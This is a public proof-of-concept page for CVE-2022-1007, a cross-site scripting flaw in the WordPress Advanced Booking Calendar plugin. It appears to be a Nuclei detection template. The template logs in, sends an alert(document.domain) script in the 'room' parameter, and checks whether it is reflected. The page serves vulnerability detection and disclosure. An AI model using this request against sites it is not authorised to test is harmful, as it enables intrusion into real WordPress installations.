CVE-2022-1007: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting

2025-08-01 WordPress Advanced Booking Calendar PoC Public

Description

WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2022-1007

info:
  name: WordPress Advanced Booking Calendar <1.7.1 - Cross-Site Scripting
  author: 8arthur
  severity: medium
  description: |
    WordPress Advanced Booking Calendar plugin before 1.7.1 contains a cross-site scripting vulnerability. It does not sanitize and escape the room parameter before outputting it back in an admin page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could lead to the execution of arbitrary script code in the context of the affected website, potentially allowing an attacker to steal sensitive information or perform actions on behalf of the user.
  remediation: |
    Update to WordPress Advanced Booking Calendar plugin version 1.7.1 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6f5b764b-d13b-4371-9cc5-91204d9d6358
    - https://wordpress.org/plugins/advanced-booking-calendar/
    - https://nvd.nist.gov/vuln/detail/cve-2022-1007
    - https://plugins.trac.wordpress.org/changeset/2695427
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1007
    cwe-id: CWE-79
    epss-score: 0.01868
    epss-percentile: 0.78259
    cpe: cpe:2.3:a:elbtide:advanced_booking_calendar:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: elbtide
    product: advanced_booking_calendar
    framework: wordpress
  tags: cve,cve2022,wp-plugin,advanced-booking-calendar,wp,authenticated,wpscan,wordpress,xss,elbtide,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars&setting=changeSaved&room=1111%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3C%22 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body_2, '<script>alert(document.domain)</script>')"
          - "contains(body_2, 'advanced-booking-calendar')"
          - "contains(header_2, 'text/html')"
          - "status_code_2 == 200"
        condition: and
# digest: 4a0a00473045022079e664e9840f22aaba66f6962a4dfe92d32e9ffbe91ecc7aaf7dcf2ddf752468022100fe11ab60707181d9845c6c16b10495b739f2103294dfe34daaacc0b0d74d85da:922c64590222798bb761d5b6d8e72950

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